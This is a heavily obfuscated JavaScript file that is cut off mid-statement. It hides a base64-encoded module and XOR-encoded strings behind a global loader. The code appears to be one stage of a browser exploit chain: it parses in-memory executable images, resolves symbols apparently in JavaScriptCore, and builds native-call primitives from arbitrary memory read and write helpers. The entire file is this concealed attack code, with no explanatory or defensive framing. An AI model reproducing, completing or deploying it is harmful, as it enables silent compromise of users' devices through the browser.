let r={};globalThis.obChTK.fgPoij(([48, 51, 101, 99, 96, 55, 52, 100, 49, 99, 48, 52, 96, 98, 101, 103, 106, 55, 100, 107, 51, 48, 107, 102, 103, 54, 96, 49, 54, 52, 54, 103, 99, 55, 103, 97, 54, 49, 54, 106].map(x => {return String.fromCharCode(x ^ 82);}).join("")),"bGV0IHI9e307Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjUsIDEyNywgMTI2LCAxMjIsIDEyMCwgMTIyLCAxMjAsIDEyNiwgNDQsIDEyNiwgMTIyLCAxMjAsIDEyNywgMTEzLCA0MiwgNDEsIDQxLCA0NCwgMTIwLCA0NSwgMTI1LCAxMjcsIDQ1LCAxMjYsIDQ0LCAxMTMsIDQ1LCA0MywgMTEzLCAxMjMsIDEyMSwgMTIyLCAxMjAsIDQzLCAxMjAsIDQ2LCAxMjUsIDEyMiwgMTI0LCAxMjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzIpO30pLmpvaW4oIiIpKSkse046R309Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNjUsIDY3LCA2NiwgNzAsIDY4LCA3MCwgNjgsIDY2LCAxNiwgNjYsIDcwLCA2OCwgNjcsIDc3LCAyMiwgMjEsIDIxLCAxNiwgNjgsIDE3LCA2NSwgNjcsIDE3LCA2NiwgMTYsIDc3LCAxNywgMjMsIDc3LCA3MSwgNjksIDcwLCA2OCwgMjMsIDY4LCAxOCwgNjUsIDcwLCA2NCwgNjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE2KTt9KS5qb2luKCIiKSkpLFA9Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNCwgMSwgMywgMywgMTIsIDg2LCA4NCwgNiwgODcsIDQsIDAsIDQsIDEyLCA4NywgODQsIDcsIDg0LCAxMywgODMsIDEsIDUsIDg3LCA4MCwgNywgMTMsIDIsIDgzLCAzLCAxLCAzLCA4MSwgMSwgODEsIDIsIDAsIDEyLCA2LCA4MCwgODcsIDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTMpO30pLmpvaW4oIiIpKSkse3puOkZ9PWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzEwNywgMTEwLCAxMDgsIDEwOCwgOTksIDU3LCA1OSwgMTA1LCA1NiwgMTA3LCAxMTEsIDEwNywgOTksIDU2LCA1OSwgMTA0LCA1OSwgOTgsIDYwLCAxMTAsIDEwNiwgNTYsIDYzLCAxMDQsIDk4LCAxMDksIDYwLCAxMDgsIDExMCwgMTA4LCA2MiwgMTEwLCA2MiwgMTA5LCAxMTEsIDk5LCAxMDUsIDYzLCA1NiwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKTt9KS5qb2luKCIiKSkpLFo9Ri5MbjtmdW5jdGlvbiBZKHQscj0hMSl7Y29uc3QgZT1QLnpuLlhuLG49ZS5pcih0LkgoMTYpKTtsZXQgcz10LkgoMzIpLGk9bmV3IHguVnQoMCwwKSxvPSEwLGg9ITEsYz1udWxsLGw9bnVsbCxmPW51bGwsYT0wLHU9bnVsbCxkPW51bGwsdz1udWxsLGc9bnVsbCxtPSExO2NvbnN0IEU9W107Zm9yKGxldCBmPTA7ZjxuO2YrKyl7Y29uc3Qgbj1lLmlyKHMpLGY9ZS5pcihzLkgoNCkpO3N3aXRjaChuKXtjYXNlIDE1Om09ITA7YnJlYWs7Y2FzZSA1MDpyJiYxPT09ZS5pcihzLkgoOCkpJiYodz0hMCxnPWUuaXIocy5IKDEyKSkpO2JyZWFrO2Nhc2UgMjU6e2NvbnN0IG49e1hlOmUuVHIocy5IKDgpLDE2KSxxZTplLlVyKHMuSCgyNCkpLEVvOmUuVXIocy5IKDI0KSksT286ZS5VcihzLkgoMzIpKSxRZTplLlVyKHMuSCg0MCkpLHpvOmUuVXIocy5IKDQ4KSksJG86ZS5pcihzLkgoNTYpKSxxbzplLmlyKHMuSCg2MCkpLE1vOmUuaXIocy5IKDY0KSksZmxhZ3M6ZS5pcihzLkgoNjgpKSxEbzpzLkgoNzIpLExvOnt9LGR1bXAoKXt9fTtpZihyKWZvcihsZXQgdD0wO3Q8bi5Nbzt0Kz0xKXtjb25zdCByPW4uRG8uSCg4MCp0KSxzPXtYZTplLlRyKHIuSCgxNiksMTYpLFZvOmUuVHIoci5IKDApLDE2KSxxZTplLlVyKHIuSCgzMikpLE9vOmUuVXIoci5IKDQwKSksUWU6ZS5pcihyLkgoNDgpKSxkdW1wKCl7fX07bi5Mb1tzLlZvXT1zfXN3aXRjaChFLnB1c2gobiksbi5YZSl7Y2FzZShbMTExLCAxMTEsIDEwMCwgMTE3LCAxMDQsIDEwMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OCk7fSkuam9pbigiIikpOm4uUWUuRXQoKT9vPSExOmw9dC5zdWIobi5RZSksaT10LnN1YihuLnFlKTticmVhaztjYXNlKFsxMDUsIDEwNSwgMTIyLCAxMjcsIDEyMCwgMTI1LCAxMTUsIDExNCwgMTI3LCA5OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1NCk7fSkuam9pbigiIikpOnU9bi5xZS5hZGQoaSkuc3ViKG4uUWUpO2JyZWFrO2Nhc2UoWzQ0LCA0NCwgNTAsIDM4LCAzOSwgNTksIDQ0LCA0OCwgNjAsIDYxLCAzMiwgMzldLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkxvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5xZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDkyOTkxNjc4MyBeIC0xMjE3NTY2ODk5KSk6aD0hMCxjPWUuaXIocy5IKDQwKSksYT1lLmlyKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTg2NzY1ODMyOSBeIC0yNzk4MjUzMDIpKTpoPSEwLGM9ZS5pcihzLkgoOCkpLGE9ZS5pcihzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmlyKHQuSCg0KSk7aWYodyYmKDE5MzI2ODM2MDggXiAxOTE1OTA2Mzg4KT09PXImJmc+PSgxNDY2ODQ5NjUwIF4gMTQ2NjI1OTgyNikpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5VcihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY5OTE2OTY0NiBeIDE2OTkxNzM3NDIpKTsoNDI5NDk2NzI5NiArICgxMzE0NDA0NDA0IF4gLTEzMzAyNjUzNDkpKSE9PWUuaXIodCk7KXQ9dC5CdCgoMTcxNDk3MjQ5MSBeIDE3MTQ5NzY1ODcpKTtjb25zdCByPXRoaXMuWG8odCk7bD1yLkhvLlpvLF89ci5Iby5Lb319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIucWU7ci5xZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0dvOnQsSm86bixRbzppLFlvOnUsWm86bCxLbzpfLHRoOmYscmg6YX0sRSl9ci51cj1mdW5jdGlvbigpe3JldHVybiBZKFAuem4ueW4sITApfSxyLlhvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLkhvPXQsdGhpcy5laD1yLHRoaXMubmg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMuc2g9ITF9c3IoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWFyKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1paCh0KXtjb25zdCByPXRoaXMub2goKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1vaCh0KXtpZighMT09PXRoaXMuc2gpe3RoaXMuc2g9ITA7Y29uc3QgdD1uZXcgVWludDMyQXJyYXkodGhpcy5Iby5yaCszPj4yKTtmb3IobGV0IHI9MDtyPHQubGVuZ3RoO3IrKyl0W3JdPVAuem4uWG4uaXIodGhpcy5Iby50aC5IKDQqcikpO3RoaXMubmg9bmV3IFVpbnQ4QXJyYXkodC5idWZmZXIpfWNvbnN0IHI9dGhpcy5uaDtsZXQgZT0iIixuPTAscz0hMTtmb3IoOyFzOyl7cz0hMDtsZXQgaT0wLG89MDtkb3tpKz0oKDIwMDQ1MDQ0MDcgXiAyMDA0NTA0MzYwKSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTk4MTkyMjM4IF4gMTU5ODE5MjM2NikmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDIwMTg5OTI2OTEgXiAyMDE4OTkyNzE2KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNzgzNzE2MTgwIF4gMTc4MzcxNjMwOCkmcltuKytdKTtyZXR1cm4gdH1uKz1pO2NvbnN0IGg9cltuKytdO2ZvcihsZXQgaT0wO2k8aDtpKyspe2xldCBpPSIiO2Zvcig7MCE9PXJbbl07KWkrPVN0cmluZy5mcm9tQ2hhckNvZGUocltuKytdKTtuKys7bGV0IGg9MDtvPTA7ZG97aCs9KCgyMDUzNTMwNDc5IF4gMjA1MzUzMDM4NCkmcltuXSk8PG8sbys9N313aGlsZSgoMTkzNjk0NjUxNCBeIDE5MzY5NDY2NDIpJnJbbisrXSk7aWYoaS5sZW5ndGgmJmUraT09PXQuc3Vic3RyKDAsZS5sZW5ndGgraS5sZW5ndGgpKXtlKz1pLG49aCxzPSExO2JyZWFrfX19cmV0dXJuIDB9fWNsYXNzIHJ0e2NvbnN0cnVjdG9yKHQpe3RoaXMuaGg9dCx0aGlzLmxoPXRoaXMuaGguSG8uR299aWgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbMTA5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDUwKX0pLmpvaW4oIiIpKSArICh0KSk7cmV0dXJuIHI/dGhpcy5oaC5Iby5Hby5IKHIpOm5ldyB4LlZ0KDAsMCl9ZmgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbNTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTAyKX0pLmpvaW4oIiIpKSArICh0KSk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcj90aGlzLmhoLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1haCh0KXtyZXR1cm4gMCE9PXRoaXMuaGgub2goKFs1XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKX0pLmpvaW4oIiIpKSArICh0KSl9dWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMuZmgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5oaD10LHRoaXMuZGg9bnVsbCx0aGlzLndoPXRoaXMuaGguSG8uR28ueXQoKX1paCh0KXtjb25zdCByPXRoaXMuaGgub2goKFsyNV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MCl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMud2grcjowfXVoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLmZoKHIpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9YWgodCl7cmV0dXJuIDAhPT10aGlzLmhoLm9oKChbMTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzgpfSkuam9pbigiIikpICsgKHQpKX1maCh0KXtjb25zdCByPXRoaXMuaGgub2goKFs1MV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDgpfSkuam9pbigiIikpICsgKHQpKTtpZighcil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiB0aGlzLndoK3J9Z2godCl7cmV0dXJue1hlOnQuWGUscWU6dC5xZS55dCgpLEVvOnQuRW8ueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpLHpvOnQuem8ueXQoKSwkbzp0LiRvLHFvOnQucW8sTW86dC5NbyxmbGFnczp0LmZsYWdzLERvOnQuRG8ueXQoKSxMbzp0LkxvfX1taCh0KXtyZXR1cm57WGU6dC5YZSxWbzp0LlZvLHFlOnQucWUueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpfX1FaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaGguZWgubGVuZ3RoO3IrKylpZih0aGlzLmhoLmVoW3JdLlhlPT09dClyZXR1cm4gdGhpcy5naCh0aGlzLmhoLmVoW3JdKTtyZXR1cm4gbnVsbH1faCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSl7aWYoMCE9PU9iamVjdC5rZXlzKGUuTG8pLmxlbmd0aCl7Y29uc3QgdD1lLkxvW3JdO3JldHVybiB2b2lkIDAhPT10P3RoaXMubWgodCk6bnVsbH17bGV0IG49bnVsbDtmb3IobGV0IHM9MDtzPGUuTW87cysrKXtjb25zdCBpPWUuRG8rODAqcyxvPXQsaD1QLnpuLlhuLkVyKGksMTYpLGM9e1hlOm8sVm86aCxxZTpQLnpuLlhuLnJyKGkrMzIpLmFkZCh0aGlzLmhoLkhvLlFvKSxPbzpQLnpuLlhuLnJyKGkrNDApLFFlOlAuem4uWG4ucnIoaSs0OCl9O3I9PT1oJiYobj1jKSxlLkxvW2hdPWN9cmV0dXJuIG4/dGhpcy5taChuKTpudWxsfX1yZXR1cm4gbnVsbH1iaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSlmb3IobGV0IG49MDtuPGUuTW87bisrKXtjb25zdCBzPWUuRG8rODAqbixpPXQsbz1QLnpuLlhuLkVyKHMsMTYpO2lmKHI9PT1vKXtjb25zdCB0PXtYZTppLFZvOm8scWU6UC56bi5Ybi5ycihzKzMyKS5hZGQodGhpcy5oaC5Iby5RbyksT286UC56bi5Ybi5ycihzKzQwKSxRZTpQLnpuLlhuLnJyKHMrNDgpfTtyZXR1cm4gdGhpcy5taCh0KX19cmV0dXJuIG51bGx9cGgodCl7Y29uc3Qgcj10aGlzLkVoKHQpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHJ9U2goKXtyZXR1cm4gbnVsbD09PXRoaXMuZGgmJih0aGlzLmRoPW5ldyBudCh0aGlzLmhoLkhvLktvLnl0KCksdGhpcy5oaC5Iby5aby55dCgpKSksdGhpcy5kaH14aCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ucnIocik6bmV3IHguVnQoMCwwKX1JaCh0KXtjb25zdCByPXRoaXMucGgoKFs2MSwgNjEsIDU0LCAzOSwgNTgsIDU0XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDk4KTt9KS5qb2luKCIiKSkpO3JldHVybiB0LXIuRW8rci5xZX1UaCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ubnIocik6MH15aCh0LHIpe2NvbnN0IGU9dGhpcy5paCh0KTtyZXR1cm4gMCE9PWU/UC56bi5Ybi5TcihlKTpyfWtoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpe2NvbnN0IG49ZS5xZSt0O2lmKFAuem4uWG4uYnIobik9PT1yPj4+MCYmUC56bi5Ybi5icihuKzQpPT09ci80Mjk0OTY3Mjk2Pj4+MClyZXR1cm4gbn10aHJvdyBuZXcgRXJyb3IoIiIpfU9oKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1lLnFlLHM9ZS5xZStlLk9vO3JldHVybiByPj1uJiZyPHN9emgodCxyLGUpe2NvbnN0IG49dGhpcy5faCh0LHIpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz1uLnFlLGk9bi5xZStuLk9vO3JldHVybiBlPj1zJiZlPGl9UGgodCl7Zm9yKGxldCByPTA7cjx0aGlzLmhoLmVoLmxlbmd0aDtyKyspaWYodGhpcy5PaCh0aGlzLmhoLmVoW3JdLlhlLHQpKXJldHVybiEwO3JldHVybiExfVVoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpaWYoUC56bi5Ybi5EcihlLnFlK3QpPT09cilyZXR1cm4gZS5xZSt0O3Rocm93IG5ldyBFcnJvcigiIil9QWgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLnpuLlhuLkRyKGUucWUrdCk9PT1yKXJldHVybiBQLnpuLlhuLnJyKGUucWUrdCk7dGhyb3cgbmV3IEVycm9yKCIiKX0kaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz10aGlzLkVoKHIpO2lmKG51bGw9PT1zKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxzLk9vO3QrPTgpe2NvbnN0IHI9UC56bi5Ybi5EcihzLnFlK3QpO2lmKHI+PW4ucWUmJnI8bi5xZStuLk9vJiYhMD09PWUocixQLnpuLlhuLnJyKHMucWUrdCkpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz00KXtjb25zdCBuPWUucWUrdDtpZighMD09PXIobixQLnpuLlhuLmJyKG4pKSlicmVha319UmgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLnFlK3Q7aWYoITA9PT1yKFoudXQobikpKWJyZWFrfX1DaCh0KXtmb3IoY29uc3QgciBvZiB0aGlzLmhoLmVoKXtjb25zdCBlPVoudXQoci5xZSksbj1aLnV0KHIucWUpLkgoeC5fKHIuT28pKTtpZih0LlBpKGUpJiZ0LlNpKG4pKXJldHVybiByfXJldHVybiBudWxsfX1jbGFzcyBudHtjb25zdHJ1Y3Rvcih0LHIpe3RoaXMuTWg9dCx0aGlzLkRoPXIsdGhpcy5MaD0hMSx0aGlzLkJoPXt9LHRoaXMuaW1hZ2VzPXRoaXMuTmgoKX1WaCgpe3JldHVybiBQLnpuLlhuLkVyKHRoaXMuRGgpfVhoKCl7cmV0dXJuKFs1NCwgNDMsIDYyLCA1NCwgMTMsIDM2LCA5OSwgMTE0LCAxMTQsIDUxLCAzMiwgNjMsIDEwMCwgMTAyLCA1NV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4Mik7fSkuam9pbigiIikpPT09dGhpcy5WaCgpfVpoKCl7cmV0dXJuIHRoaXMuTWh9TmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLlZoKCkuc3RhcnRzV2l0aCgoWzEzLCAxNiwgNSwgMTNdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTA1KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC56bi5Ybi5icih0aGlzLkRoKzI0KSxlPVAuem4uWG4uYnIodGhpcy5EaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5MaD0hMCxyPVAuem4uWG4uYnIodGhpcy5EaCsoMTI4MjY5MjE4NiBeIDEyODI2OTI1MDYpKSxlPVAuem4uWG4uYnIodGhpcy5EaCsoOTQ2ODkwMzA2IF4gOTQ2ODkwNjMwKSksMD09PXImJjA9PT1lKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgbj0wO248ZTtuKyspe2NvbnN0IGU9dGhpcy5EaCtyKzMyKm4scz1QLnpuLlhuLkRyKGUpK3RoaXMuTWgsaT1QLnpuLlhuLmJyKGUrMjQpLG89UC56bi5Ybi5Fcih0aGlzLkRoK2kpO3QucHVzaCh7YWRkcmVzczpzLHBhdGg6b30pfXJldHVybiB0fWpoKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgciBvZiB0aGlzLmltYWdlcyl0LnB1c2goci5wYXRoKTtyZXR1cm4gdH1GaCh0LHIpe3JldHVybiB0aGlzLkhoKHQpLmZoKHIpfUtoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXRyeXtyZXR1cm4gdGhpcy5IaChyLnBhdGgpLmZoKHQpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9R2godCl7Zm9yKGxldCByPTA7cjx0aGlzLmltYWdlcy5sZW5ndGg7cisrKWlmKC0xIT09dGhpcy5pbWFnZXNbcl0ucGF0aC5pbmRleE9mKHQpKXJldHVybiB0aGlzLmltYWdlc1tyXS5hZGRyZXNzO3JldHVybiAwfUhoKHQpe2lmKHZvaWQgMD09PXRoaXMuQmhbdF0pe2NvbnN0IHI9dGhpcy5HaCh0KTtpZigwPT09cilyZXR1cm4gbnVsbDt0aGlzLkJoW3RdPVkoeC5WdC51dChyKSkuYXIoKX1yZXR1cm4gdGhpcy5CaFt0XX1KaCh0KXtjb25zdCByPXRoaXMuSGgodCk7aWYobnVsbD09PXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1RaCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5KaChyKX1jYXRjaCh0KXt9dGhyb3cgbmV3IEVycm9yKCIiKX19cmV0dXJuIHI7");const x=globalThis.obChTK.hPL3On(([113, 115, 114, 118, 116, 118, 116, 114, 32, 114, 118, 116, 115, 125, 38, 37, 37, 32, 116, 33, 113, 115, 33, 114, 32, 125, 33, 39, 125, 119, 117, 118, 116, 39, 116, 34, 113, 118, 112, 115].map(x => {return String.fromCharCode(x ^ 68);}).join(""))),{N:G,tn:W,nn:C,Vt:m,U:j,An:S,vn:O,T:l,v:o,I:u,B:s,K:R,O:K}=globalThis.obChTK.hPL3On(([127, 125, 124, 120, 122, 120, 122, 124, 46, 124, 120, 122, 125, 115, 40, 43, 43, 46, 122, 47, 127, 125, 47, 124, 46, 115, 47, 41, 115, 121, 123, 120, 122, 41, 122, 44, 127, 120, 126, 125].map(x => {return String.fromCharCode(x ^ 74);}).join(""))),P=globalThis.obChTK.hPL3On(([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map(x => {return String.fromCharCode(x ^ 65);}).join("")));r.qd=function(){P.zn.Dn,P.zn.Xn,P.zn.jn,P.zn.Wn;const i=new ii,c=(window.performance.now(),i.iI((1160787021 ^ 1093678157))),o=new Uint32Array(new Uint32Array(32).fill((4294967296 + (1868837240 ^ -1167650457))));i.cI(o);i.oI(c,o);P.zn.Rn=new oi(i),P.zn.Jn=i};class ii{constructor(){const i=P.zn.Dn,c=(P.zn.Xn,P.zn.jn);this.tI={II:c.da(i.nl.Sa,0x0n)},this.nI=P.zn.Yh.qb(0x300n),this.hI=new ci,this.sI(),this.yI(),this.lI()}sI(){P.zn.Dn;const i=P.zn.Xn,c=P.zn.jn;this.CI=P.zn.Yh.qb(0x80n);const o=P.zn.Dn.tl(([70, 58, 16, 26, 29, 12, 4, 70, 37, 0, 11, 27, 8, 27, 16, 70, 47, 27, 8, 4, 12, 30, 6, 27, 2, 26, 70, 35, 8, 31, 8, 58, 10, 27, 0, 25, 29, 42, 6, 27, 12, 71, 15, 27, 8, 4, 12, 30, 6, 27, 2, 70, 35, 8, 31, 8, 58, 10, 27, 0, 25, 29, 42, 6, 27, 12].map(x => {return String.fromCharCode(x ^ 105);}).join(""))).kl(([22, 22, 19, 7, 122, 3, 26, 10, 120, 127, 35, 32, 61, 6, 57, 44, 59, 40, 61, 32, 38, 39, 5, 32, 58, 61, 12].map(x => {return String.fromCharCode(x ^ 73);}).join(""))),t=i.Ki(o);if(0x0n===t)throw new Error("");const I=j(i.br(t-0x4n));if(0x0n===I)throw new Error("");const n=(()=>{for(let c=0;c=(1299067473 ^ 1299067217))throw new Error("");const o=P.zn.Xn.Oi,t=P.zn.Xn,I=P.zn.jn;let n=0;for(const h in i){const s=4*h,y=i[h],l=0xffffff00000000n&0xffffffff00000000n&(j(s)<<0x1En&0xffffffff00000000n)+0x100000000n|0xFFFFFFFFn&j(n);let C=I.wa.bind(I);globalThis.obChTK.hPL3On(([104, 109, 111, 111, 96, 58, 56, 106, 59, 104, 108, 104, 96, 59, 56, 107, 56, 97, 63, 109, 105, 59, 60, 107, 97, 110, 63, 111, 109, 111, 61, 109, 61, 110, 108, 96, 106, 60, 59, 105].map(x => {return String.fromCharCode(x ^ 89);}).join(""))).zn.Nn.wYk8Jg&&(C=I.ha.bind(I));const g=C(y,0x1200000000000000n|l),b=C(y,0x1300000000000000n|l);n=o.sn(b>>0x17n^g>>0x27n),t.dr(c+j(4*h),n)}return n}cI(i){this.hI.uI(i),P.zn.Wh.Zb(this.nI,0x0n,0x300n);if(0x0n!==P.zn.Zn.call(this.KI,[this.CI,this.hI.dI()+0x38n,this.hI.dI()+0xc8n,this.hI.dI()+0xd0n,this.hI.dI()+0xe0n]))throw new Error("");P.zn.Wn.call({ab:this.tI.II,sb:this.nI,x1:this.hI.dI(),x2:0x0n,ib:0x0n,bb:0x0n});const c=S(P.zn.Xn.Ki(this.nI+0x138n));S(P.zn.Xn.Ki(this.nI+0x8n));return c}oI(i,c){this.hI.uI(c),P.zn.Wh.Zb(this.nI,0x0n,0x300n),P.zn.Xn.So().jo([[this.nI,[[P.zn.Xn.ko,8,j(c.byteLength)],[P.zn.Xn.ko,(1599174497 ^ 1599174233),P.zn.jn.er(i,0x47EAn)]]]]);if(0x0n!==P.zn.Zn.call(this.KI,[this.CI,this.hI.dI()+0x38n,this.hI.dI()+0xc8n,this.hI.dI()+0xd0n,this.hI.dI()+0xe0n]))throw new Error("");P.zn.Wn.call({ab:this.tI.II,sb:this.nI,x1:this.hI.dI(),x2:0x0n,ib:0x0n,bb:0x0n});const o=S(P.zn.Xn.Ki(this.nI+0x138n));S(P.zn.Xn.Ki(this.nI+0x8n));return o}iI(i){this.hI.XI(i),P.zn.Wh.Zb(this.nI,0x0n,0x300n);if(0x0n!==P.zn.Zn.call(this.KI,[this.CI,this.hI.dI()+0x38n,this.hI.dI()+0xc8n,this.hI.dI()+0xd0n,this.hI.dI()+0xe0n]))throw new Error("");P.zn.Wn.call({ab:this.tI.II,sb:this.nI,x1:this.hI.dI(),x2:0x0n,ib:0x0n,bb:0x0n});const c=S(P.zn.Xn.Ki(this.nI+0x138n));S(P.zn.Xn.Ki(this.nI+0x8n));return c}}class ci{constructor(){this.pI=P.zn.Yh.qb((862154849 ^ 862155617)),this.mI=null,this.aI=null}dI(){if(null===this.mI||null===this.aI)throw new Error("");return this.pI}XI(i){if(i%32)throw new Error("");P.zn.Wh.Zb(this.pI,0x0n,0x300n);const c=P.zn.Yh.qb(j(i)),o=P.zn.Yh.qb(j(i));P.zn.Xn.So().jo([[this.pI,[[P.zn.Xn.No,(1399993409 ^ 1399993481),i],[P.zn.Xn.ko,56,c],[P.zn.Xn.No,(2054371400 ^ 2054371464),i],[P.zn.Xn.ko,(843479659 ^ 843479691),o],[P.zn.Xn.ko,(877221204 ^ 877220924),i]]]]),this.mI=c,this.aI=o}uI(i){if(!(i instanceof Uint32Array))throw new Error("");if(i.byteLength%32)throw new Error("");P.zn.Wh.Zb(this.pI,0x0n,0x300n);const c=P.zn.Xn._o(i),o=P.zn.Yh.qb(j(i.byteLength));P.zn.Wh.Yb(o,c,j(i.byteLength));const t=P.zn.Yh.qb(j(i.byteLength));P.zn.Xn.So().jo([[this.pI,[[P.zn.Xn.No,(946628201 ^ 